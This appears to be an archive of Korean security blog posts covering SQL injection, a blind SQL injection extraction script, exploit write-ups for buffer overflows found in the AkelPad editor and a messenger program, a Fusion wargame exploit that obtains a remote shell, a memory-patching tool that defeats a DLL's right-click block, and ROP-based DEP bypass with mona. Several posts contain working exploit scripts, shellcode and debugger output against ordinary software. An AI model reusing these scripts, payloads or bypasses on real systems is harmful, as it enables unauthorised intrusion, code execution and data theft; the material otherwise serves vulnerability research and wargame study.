필드명 sql injection

2014. 2. 1. 21:48


# 필드명 sql injection 



$q=@mysql_fetch_array(mysql_query("select $_GET[id] from c_61 order by id desc limit 1"));



위와 같이 필드명에 인젝션이 가능하나 뒤의 order by 등에 의해 안될경우..


'1234' as id  



BlindSQL Injection 소스

2014. 2. 1. 18:01


BlindSQL Injection 소스.

예전부터 쓰던거고 그때그때 수정해서 대충 쓰고 있습니다. 언젠가 코드 정리 한번해서 범용적으로


쓸 수 있게 고칠 예정입니다...ㅎㅎ


# 추가 필요한 기능들

- parameter 입력(귀찮아서 지금은 하드코딩)

- 인젝션 자동 탐색(...)

- 패턴차단 우회기능(인코딩,공백치환 등등)

- db 종류별 스키마 등 자동 추출 가능하게 변경


# SQL Injector.py

#!/usr/bin/python
import sys
import getopt,urllib2
from urllib import *
import string

base = "http://www.****.com/index.php"  // 대상 URL
TrueKeyword = "onlyTrueKeyword"  // 참인 경우에만 들어있는 키워드

def CheckInject(tNum,num,t):     ## Checking Condition(T or F) ?
	cookie='PHPSESSID=r099a6f35u0la29it5p1egr3p5'
	injectParam = "2 and char(%s)>substr(pw,%s,1)-- " % (num,t) 
	param={'no':injectParam,'id':'admin','pw':'1234'}
	headers = {'Cookie':cookie}
	f = urllib2.Request(base + '?' + urlencode(param),headers=headers)
	response = urllib2.urlopen(f)
	text = response.read()
	if text.find(TrueKeyword) != -1:
		return True
	else:
		return False

def binarySearch(tNum,start,end,str):   ## Binary Searching algorithm
	mid = ( start + end ) / 2
	Result = CheckInject(tNum,mid,str)
	if ( end - start ) <= 1:
		if Result==False:
			return start
		else:
			return end
	if Result == False:
		print "        %2d" % mid ," > str - True"
		return binarySearch(tNum,mid,end,str)
	else:
		print "        %2d" % mid ," > str - False"
		return binarySearch(tNum,start,mid,str)

def SearchTabName(tNum):    ## Searching TableName
	TabName = ""
	tNum += 1
	print "[*] %dth Searching Database..." % tNum
	tNum -= 1
	for Count in range(1,255):
		print "    [*] Searching %s Str" % Count 
		FindStr = binarySearch(tNum,0,128,"%s" % str(Count))
		TabName = TabName + chr(FindStr).lower()
		if FindStr == 127:
			return TabName
		elif FindStr == 32:
			print "		[-] End of String !"
			break;
		elif FindStr != 40:
			print "      [+] Find Str : %s" % chr(FindStr).lower()
		else:
			print "		[-] Failure!"
	return TabName

TableList=[]
tReturn=True
for x in range(0,255):
	tmpTab=SearchTabName(x)
	
	print "\n================================"
	print "[+] Database Name  : %s " % tmpTab
	print "================================"

	break;
	print tmpTab
	if tmpTab == False:
		print '    [-] End of Table!'
		TableList.append(tmpTab)
		break
	TableList.append(tmpTab)

tCount=len(TableList)
if tCount > 0:
	print "\n================================"
	print "[+] %s Database Found !!" % tCount
	print "================================"
	for x in TableList:
		print x
	print "================================\n"
else:
	print "[-] Tables Searching Failure !!"





심심풀이 워게임풀이 하던중 간만에 vb 문제가 나와서 vb로 디컴파일 후 분석을 하는데 정적분석만으론 풀 수 없는


문제라 ida 분석및 디버깅이 필요했다. 


vb decompiler 를 이용해 얻은 정보들을 ida 로 그대로 옮길 수 있다. 






map 파일을 생성해서 olly 등에서 참조할 수도 있으니 알아두자!   :)



www.suninatas.com 올클리어~

2013. 12. 11. 13:05


www.suninatas.com 올클리어~! 짬짬이 시간내서 2주정도 푼것 같네요. 전반적으론 쉬운 문제들도 조금 있는 편이


지만 몇몇 문제는 여러번 꼬아져 있어서 좀 헤맸습니다. 간만에 워게임 풀이 하면서 재미있었습니다. 


운영자분들 감사합니다. ^^;










다음은 reversing.kr !


가벼운 에디터 툴을 찾아보다가, akelpad 라는 툴을 찾게 되었다. 메모장과 비슷하지만 플러그인 등을 제공하여 


가벼우면서도 다양한 기능을 제공하고 있었다.  조금 사용하던중 취약점을 찾아보자 라는 생각이 문득 들어서 소스코


드를 다운받아 살펴보기 시작했다. 


결론부터 말하면 취약점을 찾았고, exploit 에 성공했다.  :)


http://akelpad.sourceforge.net/en/index.php









취약함수인 strcpy 위주로 검색을 해보니 역시나 존재했다. 쓰지 말라고 아무리 말해도 쓴다. ㅎㅎㅎ 





처음엔 간단한 메모리커럽션 으로 생각해서 쉽게 exploit 이 가능한 취약점이라 생각했다. 해당 소스는 설정파일인 


AkelPad.ini 에서 CmdLineBegin 과 CmdLineEnd 항목을 읽어올 때 복사할 크기를 지정하지 않는 strcpy 함수를 


사용하기 때문에 발생한다. 



하지만 이렇게 쉬울리가 없겠지....금방 몇가지 문제가 발생했다. -_-;


1) 설정파일이 UTF-16 인코딩이 되어 있음 

   -> 유니코드로 인식되어 00 바이트 추가 ( 47 -> 47 00 )


2) stack bof 가 아닌 heap bof 

   -> 함수 포인터나 기타 exploit 가능한 상황을 찾아야 함







다시 정확한 분석을 위해 디버깅을 진행하며 확인해 보았다. A, B 등의 문자를 채워넣으면 ntdll 의 특정 함수에서 


예외처리로 걸려서 넘어가질 않았고, "G" 로 하니 잘 넘어갔다. 아마 입력된 문자로 어떤 주소값이 만들어 지고, 이 주


소값이 제대로 된 주소가 아니면 ntdll 에서 에러를 뱉으며 종료되는 것 같았다. exploit 을 위해서는 어플리케이션으로


돌아가야 하므로 이것저것 찾아보다 보니 "G" 는 470047 인데, 이 주소값은 이 어플리케이션 모듈의 이미지 주소였


다. 


 어쨌든, 아래와 같이 간단히 python 코드를 제작하여 다시 디버거를 통해 실행시켜 보았다.





뚜둥~ CALL EAX  와 함께 00470047 주소를 호출하려 하고 있다. 이말은 EAX 가 내가 입력한 GGG... 에 의해 변경


이 되었고, 이 주소를 CALL 한다는 것은 이버그가  Exploitable 하다는 뜻이었다. 





좀더 자세히 살펴보면 CALL EAX 를 하기 전 특정 Heap 주소에서 어떤 값을 EAX 에 넣어주고 있다. 이 주소의 값이 


내가 입력한 GGG 에 덮어씌워 진 것이라 짐작할 수 있다. 




CALL [Reg] 형태의 명령은 보통 함수 포인터를 사용하는 코드이다. IDA 를 통해 자세히 살펴보면, 아래와 같이 해당 


주소는 MonitorFromPoint 함수의 주소를 얻어와 저장해 둔 메모리 주소이다.  bof 에 의해 이 값이 변조되어 실제


CALL EAX 가 이루어질 시점엔 EAX 가 특정 임의의 값으로 변조되어 있던 것이었다.






이제 취약점 분석은 끝났으니 간단히 exploit 을 제작해 보자. 




# exploit 을 위한 정보 


1) Unicode 인코딩 파일포맷 -> ascii 강제저장으로 우회


2) 47 00 47 00 코드도 Nop 코드이므로 그냥 47004700 사용 ( 정상적으로 이 버그 코드에 도달하기 위해서 47004700 을

    사용해야함. AAAA.. 등은 중간에 ntdll 에 잡아먹힘. )


3) 0x470047 주소는 내가 입력이 가능한 Buffer 임 -> 쉘코드 위치


4) 쉘코드는 간단한 cmd 실행 코드 사용


위를 종합한 payload 는 다음과 같다.



     1          2              3                  4

dummy + nop + shellcode + dummy(overwrite function pointer)


4 에 의해 function pointer 가 470047로 덮어씌워지고, 2로 점프한 뒤 3을 만나 쉘코드를 실행하게 될 것이다.


이제 직접 실행을 해보자.









CALL EAX 가 실행되는 시점에 EAX 는 0x470047 로 변경되어 있으며, 아래와 같이 해당 주소에는 미리 입력해둔 


Nop + Shellcode 가 존재한다.




CALL 0x470047




Nop Sled




ShellCode 실행






CMD !!  Exploit 성공~!! :)



















메신저 exploit 제작기

2013. 11. 6. 23:50


어찌어찌하다 메신저 프로그램 (거의 안쓰는...2007년 이후로 개발도 중지된 듯 ㅎ) BOF 취약점을 발견하게 되어


재미로 exploit 까지 만들게 되었다. 이왕 만든 김에 간략히 중요한 부분만 정리해 보려고 한다.



1. 발견


 - 메신저를 사용하던 중 뭔가 자꾸 에러로 죽는 것을 발견

 - 호기심에 "AAAAAA..." 로 채워서 여러기능 수동 테스트

 - 메시지 저장 부분에서  crash & EIP=0x41414141 발견(!)







2. 분석


  확인 결과 전형적인 BOF 였으며, SEH 기반으로 Exploit 이 가능할 것으로 보였다. 크기를 확인하기 위해 


   !mona pc create 10000


  으로 패턴을 생성하여 확인했고, SEH 까지의 거리는 4120 이었다. ( !mona suggest 명령으로 자동 확인 가능 )







  일반적인 SEH Exploit 의 Payload 인  dummy + nseh + seh + dummy 로 Exploit 을 구성하려 했으나, 몇가지 

 

  상황으로 인해 어려웠다.


  먼저, 파일을 읽어서 처리하는 과정에서 0d0a0b 등을 포함한 개행문자 등의 몇가지 특수문자가 있으면 복사가 중단


  되었다. 그리고 아스키 복사 함수에서 발생하는 취약점이기 때문에 nseh, seh 주소 등에 %00 이 들어가게 되면


  뒷부분은 역시 복사가 되지 않는다. 또한 버퍼에 7f 이상의 값이 들어가면 다 3f 처리된다. 정리해 보면, 


     1) %0d %0a %0b 불가

     2) 7f 이상의 바이트는 3f 필터 처리

     3) %00 불가 

     4) 취약 바이너리를 제외한 모든 모듈은 safeseh 처리가 되어 있음

     5) pop pop ret 쓰려면 safeseh 아닌 모듈인 취약 바이너리에서 써야 하는데, base 주소가 00 으로 시작(-_-)함





3. Exploit 제작


  단순할거라 생각했던 exploit 제작에 몇가지 걸림돌이 있어 약간의 테크닉이 필요했다.


     1) %0d %0a %0b 불가

         -> 해당 바이트 제외한 주소값 선정


     2) 7f 이상의 바이트는 3f 필터 처리

         -> 몇가지 테크닉을 통한 3f 필터 처리 우회

         -> 쉘코드 3f 필터 우회방법은 몇가지가 있다. 

                  - alpha_mix 등의 알파벳으로만 인코딩을 해주는 msfencode 사용 (단, 몇가지 사용 제약 사항이 존재) 

                  - \xd0\xd0 과 같이 두번 중복해서 사용 시 \xd0\x3f 로 변환되어 \xd0 한번은 제대로 입력됨

                  - \x90 을 중간중간 삽입하면 변환이 되지 않는 경우가 있음

                  - 필요한 문자열과 주소값을 esp+4 , esp+8 등을 이용하여 구성 후 push 로 인자값 구성 


     3) %00 불가 

         -> 일반적인 payload 대신 payload 를 버퍼의 앞에 넣고, pop pop ret 대신 esp+xx, ret 가젯이용(stack pivot)



 몇번의 시행착오 후에 아래와 같이 exploit 을 제작할 수 있었다. 정석적으로 3f 를 우회하려면 alpha_mix 인코더가 

 

 가장 신뢰성 있겠지만 컨트롤 가능한 레지스터가 필요하므로(이걸 옵션으로 주지 않으면 완벽한 3f 우회 불가) 그냥


 주먹구구식(?)으로 우회했다.



           # vi exploit_msg.py

import os,sys
print " # Msg*** Exploit v1.0 by hyunmini"
print "[+] Making msg file..."

stackpivot = "\x16\x4c\x4b\x00"   # esp + 1040 ,ret 

jmp = "\x42\x63\x10\x77" # jmp esp 0x77106342
shellcode  = "\x55\x8b\xec\x83\xec\x44\x33\xc0"
shellcode += "\xc6\x44\x24\x04\x63"   # c
shellcode += "\xc6\x44\x24\x05\x6d"   # m
shellcode += "\xc6\x44\x24\x06\x64"   # d
shellcode += "\x88\x44\x24\x07"
shellcode += "\x6a\x05"
shellcode += "\x8d\x44\x24\x08"
shellcode += "\x50"
shellcode += "\xc6\x44\x24\x10\xad\x90" # 7c8623ad -> WinExec() Addr
shellcode += "\xc6\x44\x24\x11\x23\x90"
shellcode += "\xc6\x44\x24\x12\x86\x90"
shellcode += "\xc6\x44\x24\x13\x7c\x90"
shellcode += "\x8b\x44\x24\x10\x90\x90\x90\x90\x90\x90"
shellcode += "\xff\xd0\xd0\x6a\x01\xb8\xfa\xca\x81\x7c\xff\xd0\xd0"

dummy = "A" * 12
padding = "A" * (4121-len(dummy)-len(shellcode))
payload = dummy + jmp + shellcode + padding + stackpivot

f = open("C:\\Program Files\\*********\\mymsg.txt","w")
#f.write(payload)
f.write(pattern)
f.close()
print " [+] finish !!"

  


이제 실행해보자. 실행 후 처음 예외가 발생하여 디버거가 멈추면 아래와 같이 버퍼가 정상적으로 덮어씌워 졌음을 

 

확인할 수 있다. 예외가 발생했으니 아래와 같이 SEH로 덮어씌운 0x004b4c16 의 주소 명령이 실행될 것이다.  




해당 주소는 ADD ESP, 404  가젯이며, 이 Stack Pivot 가젯을 통해 기존의 버퍼로 돌아올 수 있다. 


(SEH라 해서 꼭 POP POP RET 를 할 필욘 없다. 그저 돌아오는 것이 중요할 뿐)



RETN 을 하면 버퍼 시작지점 + 12 byte 로 돌아오게 되고, 이곳엔 미리 넣어둔 jmp esp 코드가 들어있다.





jmp esp 까지 실행하면 이제 EIP 는 쉘코드로 변경되고, 원하던 쉘코드를 실행시킬 수 있다. 이 쉘코드에는 위에서


말한 몇가지 테크닉이 적용된 상태이다. :)





이제 끝까지 실행하면 아래와 같이 CMD 창이 뜨는 것을 확인할 수 있다. 



성공~! ㅎ

wargame - fusion / level00

2013. 9. 23. 22:06

Fusion



fusion 은 system wargame 중 하나이며 여러가지 우회 기법을 배울 수 있는 다양한 문제들을 제공한다. 


연습을 위해 pwntools 및 angr 을 사용해서 풀어보기로 한다.






level 00










fusion@fusion:/opt/fusion/bin$ uname -a

Linux fusion 3.0.0-13-generic-pae #22-Ubuntu SMP Wed Nov 2 15:17:35 UTC 2011 i686 i686 i386 GNU/Linux




fork() 를 수행하므로 ASLR 은 무시해도 된다.


소스코드를 분석해 보자.  문제가 되는 부분은 아래 fix_path 함수이다.


3int fix_path(char *path) 4{ 5 char resolved[128]; 6 7 if(realpath(path, resolved) == NULL) return 1; // can't access path. will error trying to open 8 strcpy(path, resolved); 9}


일반적으로 strcpy() 함수를 보고 취약하겠구나 라고 생각하겠지만, realpath() 함수 결과에 따라 NULL 이면 return 


을 해버리고 있으므로 strcpy 는 실행조차 되지 않는다. 하지만 다행히도 realpath 함수 역시 bof 취약성이 존재한다.


해당 함수 내부에서 memcpy 를 호출하기 때문이다. 첫번째 인자값의 문자열을 두번째 인자값에 복사해 준다.


(원래 realpath 함수의 기능은 ../../ 등의 경로를 resolve 후 절대경로로 변환하여 저장 )






풀이



0 레벨이기 때문에 그냥 단순 bof 수준이다. Path 위치에 139 개가 들어가면 버퍼를 모두 덮어쓰고, RET 를 조작할 수 있다.



  • 버퍼주소 : 출력된 버퍼 주소 사용
  • 쉘코드 : asm(shellcraft.dupsh(4))     //  쉘을 실행시키고 dup 로 소켓에 fd 복제



# ex_level00.py

from pwn import *
context(arch='i386',os='linux')
print "[*] fusion level00 exploit by hyunmini"

buffer_addr = p32(0xbff49498+160)
r = remote("192.168.231.128",20000)
print r.recv(1000)

e = ELF('./level00')

shellcode = asm(shellcraft.dupsh(4))
ret = buffer_addr
nop = "\x90"*60
#payload = "GET " + "A"*139 + "B"*4 +" HTTP/1.1 " + shellcode
payload = "GET " + "A"*139 + ret +" HTTP/1.1 " + shellcode
r.send(payload)

print " [+] Success!! got shell"
r.interactive()



hyunmini:fusion $ python ex_level00.py 
[*] fusion level00 exploit by hyunmini
[+] Opening connection to 192.168.231.128 on port 20000: Done
[debug] buffer is at 0xbff49498 :-)

[*] '/Users/hyunmini/Desktop/wargame/fusion/level00'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE
 [+] Success!! got shell
[*] Switching to interactive mode
$ 
$ id
uid=20000 gid=20000 groups=20000






'wargame > exploit exercise - fusion' 카테고리의 다른 글

wargame - fusion / level03  (0) 2017.02.27
wargame - fusion / level02  (0) 2016.12.29
wargame - fusion / level01  (0) 2016.12.28


http://cafe.naver.com/secuholic/11714






proxy 를 잡은 채(burp suite) HTTPS 사이트를 접속하면 간혹 아래처럼 오류가 발생한다. 



Burp proxy error: java.security.cert.CertificateException



이 경우 아래와 같이 java 의 보안 설정을 변경해주면 접속이 가능하다.


다만, 서버에서 거부하면 로그인 등은 안된다. 그래도 접속은 되니까 ㅡ.ㅡ..




C:\Program Files\Java\jre7\lib\security\java.security


# 수정전

 jdk.certpath.disabledAlgorithms=MD2  

                         v

# 수정후 ( MD2 삭제 )

 jdk.certpath.disabledAlgorithms=



'Web Hacking' 카테고리의 다른 글

필드명 sql injection  (0) 2014.02.01
BlindSQL Injection 소스  (1) 2014.02.01
sessionid 추측 공격  (1) 2013.05.23
Banner Grabbing ( 배너 정보 수집 )  (0) 2013.05.20
Google Dorking 자동화  (0) 2013.05.19

메모리 코드패치 소스

2013. 7. 2. 14:57




메모리 코드패치 소스입니다.

점검하다 보니 한 곳에서 흔히 쓰이는 자바스크립트가 아니라 로드된 DLL 에서 우클릭을 막는 곳이 있었습니다.

처음에 리버싱을 통해 직접 해당 jmp 루틴을 수정했는데...오오 무결성 체크를 한 뒤 원본으로 복구해 버리더군요.

그래서 메모리 패치용 코드를 간단하게 만들었습니다. 별것 없고 리버싱해서 찾은 분기문 루틴을 nop 처리 하는

코드입니다. 이런 경우를 대비해서 주요 함수나 루틴에 메모리 체크섬 계산 루틴등을 추가하면 좋을 듯 하네요. :)


# code_patch.cpp

#include <stdio.h>

#include <windows.h>

#include <tlhelp32.h>


int main(int argc, char* argv[])

{

if(argc != 2){

printf("Usage : %s <pid>\n",argv[0]);

system("pause");

return 0;

}


DWORD pid = atoi(argv[1]);

HANDLE hProcess;

HANDLE hSanp = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, pid);

    hProcess = OpenProcess(PROCESS_ALL_ACCESS, false, pid);

    

MODULEENTRY32 mme;

BOOL b = Module32First(hSanp, &mme);

    int lvl;

    

    BYTE newdata[]={0x90, 0x90}; 

    DWORD newdatasize = sizeof(newdata);  

while(b)

{

if(lstrcmp(mme.szModule,"******Module.dll")==0) {

            printf("[+]Found Target DLL: [0x%8x] %s\n", mme.modBaseAddr, mme.szModule);

            WriteProcessMemory(hProcess, (LPVOID)(mme.modBaseAddr+0x77d0), &newdata, newdatasize, NULL);

            ReadProcessMemory(hProcess, (LPVOID)(mme.modBaseAddr+0x77d0), &lvl, 2, 0);

            printf("[+]Success! : eb74 -> %04x\n",lvl);

        }

b = Module32Next(hSanp, &mme);

}

    system("pause");

CloseHandle(hSanp);

}




Paimei - pstalker 모듈 소개

2013. 6. 19. 00:22


# PaiMei - Reversing Framework #



오늘은 꽤 오래되긴 했지만 여전히 유용한 paimei reversing framework 를 소개 하려고 한다.


pedram amini 라는 유명한 해커가 만든 framework 로, 리버싱에 필요한 몇가지 툴들을 모아놓은 것이다.


가장 유명한 것으로는 pydbg 가 있다. 2006년(저는 C언어도 모르던 시절...부끄러워라 *-_-*) 발표 이후 몇번 


버전업을 하여 현재는 몇가지 기능이 조금 더 있다. 어쨋든 오늘은 이 paimei 기능 중 하나인 pstalker 를


소개하려고 한다. 






# code coverage 


먼저 코드 커버리지가 무엇인지 알아보자.


☞ code coverage - 프로그램 전체 루틴중 실행중 코드들이 실제 실행되는 정도


프로그램 코드 내부에는 많은 루틴들이 존재한다. 하지만 여러 분기문 및 조건에 의해 거치지 않는 루틴들도 많이 있


을 것이다. 이해를 위해 간단히 예를 들어 보자.



 function foo(){

      취약함수1();

 }

 function bar(){

      취약함수2();

 }


 main() {

      int i = 1;     

      if (i == 1){ 

          foo();

      } else {

           bar();

      }

 }


이 소스에서는 실제 취약함수가 foo() 와 bar() 에 모두 존재 하나, 코드 구조상 실제론 foo() 내부의 취약함수1() 만


실행된다. 개념을 이해하기 위해 간단히 한 것이나, 실제 몇M, 몇십M 이상의 파일에서 취약점 분석을 할 때 실제론


거치지도 않는 함수를 역참조 분석을 해가며 분석하는건 시간 낭비일 것이다. 







# pstalker  - paimei code coverage tool


pstalker 는 paimei 에 포함된 code coverage tool 이다. 한번 직접 사용해 보면 바로 알 수 있을 것이다. 단점은 실행


을 위한 설치 절차가 매우 복잡하고 까다롭다. ㅠ_ㅠ 이에 대해선 다른 잘 정리된 문서를 읽어보도록 하고, 먼저 


paimei 를 한번 살펴보자. 킬빌에 나오는 간지나는 할아버님이 반겨준다.(-_-;;)






가장 아래에 있는 pstalker 를 선택해 보자. 아래 화면은 어느정도 진행이 된 화면이고 실제 실행해보면 덩그러니 빈칸


들만 있을 것이다. 가장먼저 ida pro 를 통해 .pida 파일을 생성해야 한다. 




먼저 ida 를 통해 target binary 를 로드한 뒤, ida python script 인 pida_dump 를 실행시킨다. 해당 파일은  paimei 


디렉토리에 존재한다. 이 스크립트는 바이너리를 분석한 뒤 함수에 관련된 정보와 코드조각들은 수집하므로 생각보다


시간이 꽤 오래 걸린다. 마음을 비우고 웹툰을 보면서 기다리자. -_-;;






스크립트가 한참 돌고 나면 아래와 같이 pida 파일이 생성될 것이다. 오류가 발생한다면 instruction() 파일을 수정해


야 하는데, 차후에 다시 올리도록 하겠다. 어쨌든 성공했다 치고, 넘어가자.




이제 pstalker 를 위한 사전준비는 끝났다. 먼저 할 일은 이 pida 파일을 로드하고, target 에 추가하는 것이다. 아래쪽


에 보이는 add module 을 선택해 방금 생성한 pida 파일을 선택하고, target 에 추가한 뒤 우클릭 메뉴중 Use for 


Stalking 을 선택하자.




그리고 나서 할 일은 이 바이너리를 실행하는 것이다. 우측 Data Capture 쪽에 보면 load 메뉴가 있다. Target


binary 를 선택 후, 원하는 Coverage Depth 를 선택한 뒤 Start Stalking 버튼을 누르자.






그러면 위와 같이 미리 분석된 함수를 거쳐가는지 자동으로 확인하게 된다. 또한 거쳐갈 때의 레지스터와 스택 정보 


등을 자동으로 같이 저장해 주므로, 분석시 도움이 된다.




이제 결과를 export 하자. 우클릭 후 export to idc 메뉴를 선택하고, 원하는 옵션을 적절히 선택한다.


아직 끝이 아니다!(헥헥...아까 로드한 ida 로 되돌아 가서, 방금 생성된 idc 파일을 선택하여 실행한다.


idc 는 ida script 파일로, 자체적인 문법을 가진 자동화 스크립트라 보면 된다.




두둥 이제 드디어 모든 사전 작업을 마쳤다. ida view 를 보면 실제 코드가 실행된 루틴은 아까 지정한 색으로 표시가


되어 있음을 알 수 있다. 





실행된 루틴이 보기좋게 표시된건 알겠는데, 어떻게 활용해야 할까? 


취약점을 찾을 때, 퍼징이 아닌 리버싱을 통해 찾는다면 어떤 식으로 접근해야 할까? 많은 방법들이 있겠지만, 당연히


취약하다고 알려진 취약함수들(strcpy, scanf 등)이 존재하는지 확인하고, 역참조 루틴들을 따라가며 입력값이 사용


자에 의해 조작될 수 있는지를 파악하게 될 것이다. 하지만, 처음에 설명했던 것처럼 수많은 루틴 중 실제 우리가 원


하는 루틴은 실행되는 루틴뿐이다. 아무리 취약한 코드더라도 실행조차 되지 않는다면 별 의미가 없기 때문이다.


취약한 함수중 하나인 sscanf 의 xref 그래프를 살펴보자.(ida의 기본 기능) 실제 실행된 코드들이 예쁘게 표시되어


있다. 이제 할일은 sub_410730 함수 내부의 동작과 main 함수에서 어떤 인자값을 통해 sub_410730 을 호출하는지


분석하는 것이다. 즉, 수십개의 루틴 중 단번에 분석해야 할 루틴을 상당수 줄일 수 있었다.





여기까지 code coverage tool 중 하나인 pstalker 에 대한 간략한 소개였다.  그럼 이만!

















Mail Relay Test 사이트

2013. 6. 11. 11:33

 

mail relay 설정이 되어 있으면 스팸 발송 서버로 악용될 수 있으므로 relay 가 허용되어 있는지 확인해 볼

 

필요가 있다. 아래 사이트에서 자동 점검 가능

 

http://www.mailradar.com/openrelay/


앞의 글에서 기본적인 DEP 의 개념을 알아보았다. 이제 immunity debugger 와 유용한 몇가지 pycommand 를 통해


exploit 을 작성해 보자.




 실습 환경


 - OS Ver : 한글 Windows XP SP3

 - DEP : 예외목록 이외의 모든 프로세스에 DEP 적용 ( OptOut )

 - 디버거 : Immunity Debugger + mona.py

 - 취약프로그램 : RM2MPConverter.exe

 - Exploit 작성언어 : Python 2.7





# immunity debugger


 - ollydebugger 를 기반으로 python 으로 작성된 디버거

 - python shell 지원

 - immLib 을 통해 python 으로 조작 및 접근이 용이함

 - 간단한 코드만으로 후킹 가능

 - 안티디버깅 및 다양한 exploit 제작용 플러그인 제공


[그림1] immunity debugger


# pycommand


 - immunity debugger 의 plugin 개념으로 파이썬으로 만들어진 추가기능

 - 디버거가 제공하는 라이브러리를 활용하여 간단하게 제작 가능

 - command 창에 !명령어 방식으로 사용

    ex)  !list        // 현재 존재하는 pycommand 목록

          !scanpe   // 현재 로딩된 pefile 정보 scan


[ 그림2 ] pycommand 목록 ( ! list )



[ 그림3 ] scanpe 를 통한 파일 정보 스캔 (packing 여부 등)




# mona.py


  해커그룹 corelan 팀에서 만든 exploit 제작용 다용도 툴로, https://github.com/corelan/mona 에서 받을 수 있다.


  유용한 가젯들을 자동으로 찾아주며, bypass dep rop chain 까지 자동으로 만들어 준다. 하지만 정해진 명령에 


  대한 가젯을 찾을 수 없으면 실패하며(자동화 툴의 한계...) 수동으로 rop payload 를 구성해 주어야 한다. 

  

  어쨌든 exploit 을 제작하는데 필요한 다양한 기능들을 제공하므로, exploit 을 개발에 필수적인 툴이라 할 수 있겠다.


  참고로 이전에 발표된 pvefindaddr 를 개선하여 만들어진 것이며 최신 immunity debugger 에서는 pvefindaddr


  이 동작하지 않는다. 조금 분석해 보니 immunity debugger 의 API 명이 소문자로 바뀌었더라.(-.- 왜 그랬을까?)


  다운받은 mona.py 를 immunity debugger 의 하위에 있는 pycommands 폴더에 복사하면 된다.



[ 그림4 ] mona.py





이제 본격적으로 rop 를 통해 dep 를 우회하는 exploit 을 만들어 보자. rop 에 대한 간단한 개념은 이전 글을 통해 알


아 보았으니, 먼저 최종적으로 구성해야 하는 payload 를 다시 한번 확인해 보도록 하자.




# 최종 스택 구성


Low Address

 1

 AAAAAAAAA....

 버퍼를 채우기 위한 쓰레기값

 2

 Stack Pivot

 ROP 시작부분으로 가기 위한 값 

 - 일반적인 direct EIP overwrite 의 경우 RETN

 - seh based exploit 의 경우 esp+xx 의 pivot 필요 

 3

 ROP1 for Save Stack Pointer

 현재 스택값을 저장 / 인자값 주소 계산 등에 필요

 4

 VirtualProtect() Addr + Parameters

 VirtualProtect()주소, 실행 후 리턴값 및 함수의 인자값4개

 5

 ROP2 for RET(Shellcode)

 쉘코드 주소 생성 및 입력

 6

 ROP3 for VirtualProtect Parameter1 

 Parameter1 값 생성 및 입력 

 7

 ROP4 for VirtualProtect Parameter2

 Parameter2 값 생성 및 입력

 8

 ROP5 for VirtualProtect Parameter3

 Parameter3 값 생성 및 입력

 9

 Jump to VirtualProtect()

 4 로 돌아감 

 10

 Nop + Shellcode 

 4에서 VirtualProtect() 실행 후 돌아올 주소

 (쉘코드)

High Addres





# 취약 프로그램 buffer 크기 확인


 - 먼저 버퍼 크기를 확인해 보도록 하자. pattern_create 를 통해 offset 을 확인해 보도록 하자.


    (이전 포스팅에서 여러번 했으니까 생략 -_-! 참고로 mona 에도 pattern_create 와 pattern_offset 기능이 있다. )






 확인 결과 위와 같이 26104 개의 dummy 값 뒤에 EIP 가 "BBBB" 로 덮어씌워 졌음을 확인할 수 있다.


 이제 offset 을 확인하였으니 본격적으로 ROP payload 를 구성해 보자.







# mona 를 활용한 ROP exploit 개발


 - 위에서 설치한 mona 를 활용하여 rop payload 를 구성해 보자.



1) stack pivot

 2

 Stack Pivot

 ROP 시작부분으로 가기 위한 값 

 - 일반적인 direct EIP overwrite 의 경우 RETN

 - seh based exploit 의 경우 esp+xx 의 pivot 필요 



  !mona find -s 0xc3   // RETN 명령을 찾는다. 


실행결과는 find.txt 파일에 저장된다. rebase 가 false 이고 aslr 이 false 이며 null 이 들어가지 않은 주소를 선택


하는 것이 좋다. ( -n 옵션을 주면 자동으로 제외된다. ) 현재 SEH 기반이 아닌 일반적인 direct EIP Overwrite 


exploit 이므로, 별도의 stack pivot 이 필요없다. 그냥 RETN 명령으로 다음 ROP 로 이어지도록 해주기만 하면


된다.



*find.txt 결과 


찾아진 주소값 중 하나를 사용하면 된다. 여기서는 0x100102dc 의 주소에 있는 RETN 을 사용할 것이다.


 


 

이제 본격적인 payload 구성을 위해 mona 를 이용해 gadget 목록을 만들자.



 !mona rop -n   // 로드된 모든 모듈에서 가젯들을 추출 



 !mona rop -n -m abc.dll // abc.dll 에서만 가젯 추출



모든 모듈에서 가젯을 만들어 내기보다는 rebase 나 aslr 이 적용되지 않은 모듈 중 선택하여 사용할


모듈에서만 가젯을 추출하는 것이 좋다. 우선 rop.txt 를 살펴보면 엄청나게 많은 가젯들이 들어 있을 것이다. 


rop_suggestion.txt 에는 각 명령을 위한 추천 가젯들이 추려져 있다. 이 목록을 참고해도 된다. 여기서는 


cygwin을 설치한 뒤 grep 명령을 통해 rop.txt 를 검색하는 방식으로 가젯을 찾을 것이다. 윈도우에도 findstr 이란 명


령어가 존재하니, 편한대로 하면 된다. :)



# jump to ROP1

 eip = struct.pack('<L', 0x100102dc) # retn 



현재까지 payload 는 아래와 같다.

Low Address

 1

 AAAAAAAAA....

 buffer = "A"*26104

 2

 Stack Pivot

 eip = struct.pack('<L', 0x100102dc) # retn 

 3

 ROP1 for Save Stack Pointer

 현재 스택값을 저장 / 인자값 주소 계산 등에 필요

 4

 VirtualProtect() Addr + Parameters

 VirtualProtect()주소, 실행 후 리턴값 및 함수의 인자값4개

 5

 ROP2 for RET(Shellcode)

 쉘코드 주소 생성 및 입력

 6

 ROP3 for VirtualProtect Parameter1 

 Parameter1 값 생성 및 입력 

 7

 ROP4 for VirtualProtect Parameter2

 Parameter2 값 생성 및 입력

 8

 ROP5 for VirtualProtect Parameter3

 Parameter3 값 생성 및 입력

 9

 Jump to VirtualProtect()

 4 로 돌아감 

 10

 Nop + Shellcode 

 4에서 VirtualProtect() 실행 후 돌아올 주소

 (쉘코드)

High Address


* 참고

- !mona stackpivot 을 실행하면 esp 를 조정해 주는 가젯들만 찾을 수 있다.







2) ROP1 for Save Stack Pointer


이제 가장 먼저 할 일은 현재 스택 주소를 저장해 두는 것이다. 이는 차후에 VirtualProtect 및 인자값의 주소를


계산할때 사용할 포인터로 쓰인다. 스택주소를 저장하는 쉬운 방법은 "PUSH ESP, POP ~~, RETN" 가젯을


이용하는 것이다.  


$ grep -E "PUSH ESP.+POP E??" rop.txt 


검색 결과 다음과 같은 가젯을 찾을 수 있었다.


 PUSH ESP / AND AL,10 / POP ESI / MOV DWORD PTR DS:[EDX], ECX / RETN 


